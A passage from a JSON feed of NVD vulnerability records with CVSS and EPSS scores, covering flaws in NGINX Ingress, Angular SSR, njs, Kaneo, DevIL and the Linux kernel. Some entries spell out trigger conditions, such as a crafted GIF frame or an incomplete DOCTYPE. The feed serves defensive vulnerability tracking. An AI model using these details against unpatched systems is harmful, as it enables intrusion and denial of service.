exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104939","cveId":"CVE-2026-104939","aliases":[],"kind":"vulnerability","title":"Description\nNGINX Ingress Controller has a vulnerability when implementing an externalAuth policy for ingress. NGINX Ingress Controller may mishandle the HTTP response from an...","summary":"Description\nNGINX Ingress Controller has a vulnerability when implementing an externalAuth policy for ingress. NGINX Ingress Controller may mishandle the HTTP response from an OAuth IdP and allow an attacker to acquire unauthenticated access to protected paths before the proper external authentication can happen.\n\n\n\nImpact\nThis vulnerability may allow remote attackers \n\nunauthenticated\n\n access to protected \n\npaths. There is no control plane exposure; this is a data plane issue only.\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"Description\nNGINX Ingress Controller has a vulnerability when implementing an externalAuth policy for ingress. NGINX Ingress Controller may mishandle the HTTP response from an OAuth IdP and allow an attacker to acquire unauthenticated access to protected paths before the proper external authentication can happen.\n\n\n\nImpact\nThis vulnerability may allow remote attackers \n\nunauthenticated\n\n access to protected \n\npaths. There is no control plane exposure; this is a data plane issue only.\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:05.260Z","updatedAt":"2026-10-15T17:17:12.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104939","asOf":"2026-10-15T17:17:12.027Z"},"epss":{"probability":0.00377,"percentile":0.31395,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104939&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104939","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104939","type":"primary","publishedAt":"2026-10-14T15:17:05.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104939&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104939, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101895","cveId":"CVE-2026-101895","aliases":[],"kind":"vulnerability","title":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages.","summary":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.31, 21.2.23, and 22.1.6, the @angular/platform-server DOM emulation parser can enter an infinite synchronous loop when Angular server-side rendering processes attacker-controlled HTML containing an incomplete DOCTYPE that ends with whitespace at end of input. In Domino lib/HTMLParser.js, after_doctype_name_state emits doctype and EOF tokens without advancing nextchar or leaving the fixed-lookahead state, so the scanner repeatedly handles the same EOF marker. A remote unauthenticated attacker can use this condition through server-side HTML parsing paths such as innerHTML binding to consume a Node.js SSR worker at full CPU, starve the event loop, and stop concurrent and subsequent requests. This issue is fixed in versions 20.3.31, 21.2.23, and 22.1.6.","detail":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.31, 21.2.23, and 22.1.6, the @angular/platform-server DOM emulation parser can enter an infinite synchronous loop when Angular server-side rendering processes attacker-controlled HTML containing an incomplete DOCTYPE that ends with whitespace at end of input. In Domino lib/HTMLParser.js, after_doctype_name_state emits doctype and EOF tokens without advancing nextchar or leaving the fixed-lookahead state, so the scanner repeatedly handles the same EOF marker. A remote unauthenticated attacker can use this condition through server-side HTML parsing paths such as innerHTML binding to consume a Node.js SSR worker at full CPU, starve the event loop, and stop concurrent and subsequent requests. This issue is fixed in versions 20.3.31, 21.2.23, and 22.1.6.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:03.370Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101895","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00872,"percentile":0.5861,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101895","type":"primary","publishedAt":"2026-10-14T15:17:03.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101019","cveId":"CVE-2026-101019","aliases":[],"kind":"vulnerability","title":"Description\nNGINX JavaScript (njs) has a vulnerability where the njs XML module exposes entity-backed XML attributes inconsistently with libxml2 canonicalization. In both the...","summary":"Description\nNGINX JavaScript (njs) has a vulnerability where the njs XML module exposes entity-backed XML attributes inconsistently with libxml2 canonicalization. In both the built-in njs and QuickJS backends during the canonicalization process, the $attr$Name getter may return undefined for an explicitly present attribute containing an internal entity reference. The $attrs getter may return a value derived only from the first attribute child. This may allow an unauthenticated attacker that invests significant effort in obtaining a genuinely signed document to skip validation while signature verification succeeds. An nginx-saml deployment is a confirmed affected consumer when run with the built-in njs backend.\n\nImpact\nIn affected signed-XML consumers, an unauthenticated attacker can cause security-relevant attributes to appear absent or truncated while signature verification succeeds. In nginx-saml, this can bypass expiry, Destination, and request-correlation checks, enabling replay or acceptance of a response outside its intended context. It does not permit signature or identity forgery, or a direct availability impact. There is no control plane exposure; this is a data plane issue only.\n\n\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"Description\nNGINX JavaScript (njs) has a vulnerability where the njs XML module exposes entity-backed XML attributes inconsistently with libxml2 canonicalization. In both the built-in njs and QuickJS backends during the canonicalization process, the $attr$Name getter may return undefined for an explicitly present attribute containing an internal entity reference. The $attrs getter may return a value derived only from the first attribute child. This may allow an unauthenticated attacker that invests significant effort in obtaining a genuinely signed document to skip validation while signature verification succeeds. An nginx-saml deployment is a confirmed affected consumer when run with the built-in njs backend.\n\nImpact\nIn affected signed-XML consumers, an unauthenticated attacker can cause security-relevant attributes to appear absent or truncated while signature verification succeeds. In nginx-saml, this can bypass expiry, Destination, and request-correlation checks, enabling replay or acceptance of a response outside its intended context. It does not permit signature or identity forgery, or a direct availability impact. There is no control plane exposure; this is a data plane issue only.\n\n\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:01.697Z","updatedAt":"2026-10-15T17:17:08.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101019","asOf":"2026-10-15T17:17:08.083Z"},"epss":{"probability":0.0021,"percentile":0.111,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101019&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101019","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101019","type":"primary","publishedAt":"2026-10-14T15:17:01.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101019&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101019, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-71433","cveId":"CVE-2025-71433","aliases":[],"kind":"vulnerability","title":"Kaneo before 2.1.6 contains a missing authorization vulnerability that allows authenticated users to access other workspaces by supplying project, task, label or workspace...","summary":"Kaneo before 2.1.6 contains a missing authorization vulnerability that allows authenticated users to access other workspaces by supplying project, task, label or workspace identifiers to API routes lacking membership checks. Attackers who obtain identifiers, for example from shared project links, can read projects and tasks, modify or delete tasks, labels and comments, and search workspace contents.","detail":"Kaneo before 2.1.6 contains a missing authorization vulnerability that allows authenticated users to access other workspaces by supplying project, task, label or workspace identifiers to API routes lacking membership checks. Attackers who obtain identifiers, for example from shared project links, can read projects and tasks, modify or delete tasks, labels and comments, and search workspace contents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:00.837Z","updatedAt":"2026-10-23T22:10:00.160Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-71433","asOf":"2026-10-23T22:10:00.160Z"},"epss":{"probability":0.00572,"percentile":0.47025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-71433&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-71433","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71433","type":"primary","publishedAt":"2026-10-14T15:17:00.837Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-71433&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-71433, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-20286","cveId":"CVE-2017-20286","aliases":[],"kind":"vulnerability","title":"DevIL through 1.8.0 contains a heap-based buffer overflow in iGetPalette() in il_gif.cpp that allows attackers to write beyond a 768-byte palette buffer when loading GIF images.","summary":"DevIL through 1.8.0 contains a heap-based buffer overflow in iGetPalette() in il_gif.cpp that allows attackers to write beyond a 768-byte palette buffer when loading GIF images. Attackers can supply a crafted two-frame GIF whose second frame uses disposal method 1 with a local colour table, writing up to 384 controlled bytes past the heap allocation and possibly executing code.","detail":"DevIL through 1.8.0 contains a heap-based buffer overflow in iGetPalette() in il_gif.cpp that allows attackers to write beyond a 768-byte palette buffer when loading GIF images. Attackers can supply a crafted two-frame GIF whose second frame uses disposal method 1 with a local colour table, writing up to 384 controlled bytes past the heap allocation and possibly executing code.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:16:59.163Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-20286","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00199,"percentile":0.09578,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-20286&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2017-20286","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-20286","type":"primary","publishedAt":"2026-10-14T15:16:59.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-20286&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-20286, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98419","cveId":"CVE-2026-98419","aliases":[],"kind":"vulnerability","title":"Linux kernel: drop_monitor: fix out-of-bounds write in reset_per_cpu_data()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrop_monitor: fix out-of-bounds write in reset_per_cpu_data()\n\nIn reset_per_cpu_data(), al is computed as:\n\n    al = sizeof(struct net_dm_alert_msg);\n    al += dm_hit_limit * sizeof(struct net_dm_drop_point);\n    al += sizeof(struct nlattr);\n\n    skb = genlmsg_new(al, GFP_KERNEL);\n    ...\n    nla = nla_reserve(skb, NLA_UNSPEC, sizeof(struct net_dm_alert_msg));\n    ...\n    msg = nla_data(nla);\n    memset(msg, 0, al);\n\nBecause al includes sizeof(struct nlattr) (the 4-byte attribute header),\ngenlmsg_new() allocates al bytes of tailroom starting at nla.\nHowever, msg points to nla_data(nla), which is located\nsizeof(struct nlattr) bytes past nla. Calling memset(msg, 0, al)\ntherefore writes al bytes starting from msg, exceeding the allocated\nbuffer by sizeof(struct nlattr) (4 bytes) and corrupting\nskb_shared_info.\n\nFix this by letting al represent only the payload length, allocating\nthe skb with genlmsg_new(nla_total_size(al), GFP_KERNEL), and zeroing\nal bytes from msg.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrop_monitor: fix out-of-bounds write in reset_per_cpu_data()\n\nIn reset_per_cpu_data(), al is computed as:\n\n    al = sizeof(struct net_dm_alert_msg);\n    al += dm_hit_limit * sizeof(struct net_dm_drop_point);\n    al += sizeof(struct nlattr);\n\n    skb = genlmsg_new(al, GFP_KERNEL);\n    ...\n    nla = nla_reserve(skb, NLA_UNSPEC, sizeof(struct net_dm_alert_msg));\n    ...\n    msg = nla_data(nla);\n    memset(msg, 0, al);\n\nBecause al includes sizeof(struct nlattr) (the 4-byte attribute header),\ngenlmsg_new() allocates al bytes of tailroom starting at nla.\nHowever, msg points to nla_data(nla), which is located\nsizeof(struct nlattr) bytes past nla. Calling memset(msg, 0, al)\ntherefore writes al bytes starting from msg, exceeding the allocated\nbuffer by sizeof(struct nlattr) (4 bytes) and corrupting\nskb_shared_info.\n\nFix this by letting al represent only the payload length, allocating\nthe skb with genlmsg_new(nla_total_size(al), GFP_KERNEL), and zeroing\nal bytes from msg.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T14:17:53.290Z","updatedAt":"2026-10-24T14:16:41.123Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98419","asOf":"2026-10-24T14:16:41.123Z"},"epss":{"probability":0.00162,"percentile":0.05291,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98419&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98419","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98419","type":"primary","publishedAt":"2026-10-14T14:17:53.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98419&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98419, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98405","cveId":"CVE-2026-98405","aliases":[],"kind":"vulnerability","title":"Linux kernel: smb: client: fix missing iov bounds check in parse_posix_sids()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix missing iov bounds check in parse_posix_sids()\n\nIn parse_posix_sids(), sidsbuf_end is calculated using the server-supplied\nout_len without being validated against the actual length of the received\niov (iov_len).\n\nIf a server provides an inflated out_len, sidsbuf_end will point past the\nend of the iov. This defeats the bounds guards in posix_info_sid_size(),\nallowing out-of-bounds reads into adjacent kernel memory.\n\nFix this by rejecting responses where the calculated sidsbuf_end would\nexceed the received iov boundaries or cause pointer wraparound.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix missing iov bounds check in parse_posix_sids()\n\nIn parse_posix_sids(), sidsbuf_end is calculated using the server-supplied\nout_len without being validated against the actual length of the received\niov (iov_len).\n\nIf a server provides an inflated out_len, sidsbuf_end will point past the\nend of the iov. This defeats the bounds guards in posix_info_sid_size(),\nallowing out-of-bounds reads into adjacent kernel memory.\n\nFix this by rejecting responses where the calculated sidsbuf_end would\nexceed the received iov boundaries or cause pointer wraparound.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T14:17:51.603Z","updatedAt":"2026-10-24T14:16:40.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98405","asOf":"2026-10-24T14:16:40.877Z"},"epss":{"probability":0.00478,"percentile":0.40962,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98405&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98405","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98405","type":"primary","publishedAt":"2026-10-14T14:17:51.603Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98405&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98405, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98401","cveId":"CVE-2026-98401","aliases":[],"kind":"vulnerability","title":"Linux kernel: net: iptunnel: fix stale transport header during tunnel decapsulation","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet: iptunnel: fix stale transport header during tunnel decapsulation\n\nSyzbot reported a crash in qdisc_pkt_len_segs_init() caused by a stale\ntransport_header offset after tunnel decapsulation.\n\nBUG: unable to handle page fault for address: ffffed102091a42e\nOops: Oops: 0000 [#1] SMP KASAN NOPTI\nCPU: 0 UID: 0 PID: 340 Comm: qdisc_uaf_repro Not tainted 7.2.0-rc4-00061-g248951ddc14d #256 PREEMPT(full)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nRIP: 0010:__asan_load2\n<IRQ>\nqdisc_pkt_len_segs_init (net/core/dev.c:4145)\n__dev_queue_xmit (net/core/dev.c:4787)\nbr_dev_queue_push_xmit (net/bridge/br_forward.c:53)\nbr_handle_frame_finish (net/bridge/br_input.c:229)\nbr_handle_frame (net/bridge/br_input.c:315)\n__netif_receive_skb_core.constprop.0 (net/core/dev.c:6099)\n__netif_receive_skb_list_core (net/core/dev.c:6287)\nnetif_receive_skb_list_internal (net/core/dev.c:6445)\nnapi_complete_done (net/core/dev.c:6813)\ngro_cell_poll (net/core/gro_cells.c:74)\n__napi_poll (net/core/dev.c:7735)\nnet_rx_action (net/core/dev.c:7798 net/core/dev.c:7955)\nhandle_softirqs (kernel/softirq.c:622)\ndo_softirq (kernel/softirq.c:523  kernel/softirq.c:510 )\n__local_bh_enable_ip (kernel/softirq.c:450)\ntun_get_user (drivers/net/tun.c:1986 (discriminator 1))\ntun_chr_write_iter (drivers/net/tun.c:2032)\n\nThe issue is completely latent until qdisc read transport header in\ncommit 7fb4c1967011 (\"net: pull headers in qdisc_pkt_len_segs_init()\").\nThe crash requires four conditions to line up:\n\n1. The incoming packet is encapsulated and carries GSO metadata. The outer\n   transport header offset is stored in skb->transport_header while the\n   packet is still in the outer tunnel context.\n2. The tunnel receiver strips the outer headers. skb->data is advanced to\n   the inner frame, but skb->transport_header is left pointing to the\n   now-removed outer L4 header, so it becomes a negative offset relative to\n   the new data.\n3. The inner frame is not delivered to the local IP stack. Instead, it\n   is forwarded at L2 by a bridge or HSR, so ip_rcv_core() never runs and\n   the transport header is not rese","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet: iptunnel: fix stale transport header during tunnel decapsulation\n\nSyzbot reported a crash in qdisc_pkt_len_segs_init() caused by a stale\ntransport_header offset after tunnel decapsulation.\n\nBUG: unable to handle page fault for address: ffffed102091a42e\nOops: Oops: 0000 [#1] SMP KASAN NOPTI\nCPU: 0 UID: 0 PID: 340 Comm: qdisc_uaf_repro Not tainted 7.2.0-rc4-00061-g248951ddc14d #256 PREEMPT(full)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nRIP: 0010:__asan_load2\n<IRQ>\nqdisc_pkt_len_segs_init (net/core/dev.c:4145)\n__dev_queue_xmit (net/core/dev.c:4787)\nbr_dev_queue_push_xmit (net/bridge/br_forward.c:53)\nbr_handle_frame_finish (net/bridge/br_input.c:229)\nbr_handle_frame (net/bridge/br_input.c:315)\n__netif_receive_skb_core.constprop.0 (net/core/dev.c:6099)\n__netif_receive_skb_list_core (net/core/dev.c:6287)\nnetif_receive_skb_list_internal (net/core/dev.c:6445)\nnapi_complete_done (net/core/dev.c:6813)\ngro_cell_poll (net/core/gro_cells.c:74)\n__napi_poll (net/core/dev.c:7735)\nnet_rx_action (net/core/dev.c:7798 net/core/dev.c:7955)\nhandle_softirqs (kernel/softirq.c:622)\ndo_softirq (kernel/softirq.c:523  kernel/softirq.c:510 )\n__local_bh_enable_ip (kernel/softirq.c:450)\ntun_get_user (drivers/net/tun.c:1986 (discriminator 1))\ntun_chr_write_iter (drivers/net/tun.c:2032)\n\nThe issue is completely latent until qdisc read transport header in\ncommit 7fb4c1967011 (\"net: pull headers in qdisc_pkt_len_segs_init()\").\nThe crash requires four conditions to line up:\n\n1. The incoming packet is encapsulated and carries GSO metadata. The outer\n   transport header offset is stored in skb->transport_header while the\n   packet is still in the outer tunnel context.\n2. The tunnel receiver strips the outer headers. skb->data is advanced to\n   the inner frame, but skb->transport_header is left pointing to the\n   now-removed outer L4 header, so it becomes a negative offset relative to\n   the new data.\n3. The inner frame is not delivered to the local IP stack. Instead, it\n   is forwarded at L2 by a bridge or HSR, so ip_rcv_core() never runs and\n   the transport header is not reset to the inner L4 offset.\n4. The forwarding path calls __dev_queue_xmit(), which enters\n   qdisc_pkt_len_segs_init(). That function computes the GSO header length\n   from skb_transport_offset(skb). Because the offset is negative, the\n   unsigned cast overflows and pskb_may_pull(skb, hdr_len +\n   sizeof(struct tcphdr)) reads past the end of the skb, triggering a\n   KASAN fault or page fault.\n\nThe issue specifically requires GSO packets (shinfo->gso_size != 0), which\nare processed/aggregated through gro_cells. Fix this by clearing\ntransport_header to the ~0U sentinel in gro_cell for all tunnnel driver.\nGTP does not support GRO/GSO, drop the evil GSO packets in GTP directly.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 